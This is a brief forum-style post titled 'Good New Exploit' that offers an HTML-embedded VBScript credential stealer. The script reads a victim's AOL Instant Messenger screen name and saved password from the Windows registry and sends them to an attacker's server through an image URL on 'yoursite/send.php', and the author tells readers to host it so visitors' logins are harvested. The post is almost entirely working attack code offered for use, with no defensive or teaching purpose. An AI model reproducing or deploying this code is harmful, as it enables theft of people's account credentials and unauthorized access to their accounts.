Good New Exploit
I spent some time on this
<SCRIPT LANGUAGE="VBScript">
Dim objReg
Set objReg = Createobject("Wscript.shell")
dim user, pwvalue, pwout
user = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Login\Screen Name")
pwvalue = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & user & "\Login\Password1")
pwout = pwvalue
document.write("<center><img src='http://yoursite/send.php?key=" & user & ":" & pwout & "'></center>")
</SCRIPT>
PUt this in a html on your server, whoever clicks on the link you will get an email with their login and password.
|